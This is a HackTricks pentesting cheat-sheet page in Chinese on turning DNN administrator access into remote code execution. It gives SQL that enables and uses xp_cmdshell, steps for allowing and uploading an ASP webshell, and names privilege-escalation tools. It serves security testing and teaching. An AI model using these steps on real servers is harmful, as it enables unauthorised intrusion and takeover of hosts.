# DotNetNuke (DNN)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在HackTricks中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## DotNetNuke (DNN)

如果以**管理员**身份登录DNN，很容易获得RCE。

## RCE

### 通过SQL

在\*\*`设置`**页面下可以访问SQL控制台，您可以在那里启用**`xp_cmdshell`**并**运行操作系统命令\*\*。

使用以下代码行来启用\*\*`xp_cmdshell`\*\*：

```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
```

然后，按下\*\*"运行脚本"\*\*来运行这些 SQL 语句。

然后，使用类似以下内容来运行操作系统命令：

```sql
xp_cmdshell 'whoami'
```

### 通过 ASP webshell

在 `Settings -> Security -> More -> More Security Settings` 下，您可以在 `Allowable File Extensions` 下添加新的**允许的扩展名**，然后点击 `Save` 按钮。

添加 **`asp`** 或 **`aspx`**，然后在 **`/admin/file-management`** 上传一个名为 `shell.asp` 的 **asp webshell** 。

然后访问 **`/Portals/0/shell.asp`** 来访问您的 webshell。

### 提权

您可以使用 **Potatoes** 或 **PrintSpoofer** 等工具来**提升权限**。

<details>

<summary><strong>从零开始学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在一家 **网络安全公司** 工作吗？ 想要看到您的 **公司在 HackTricks 中被宣传**？ 或者您想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**？ 请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。

</details>
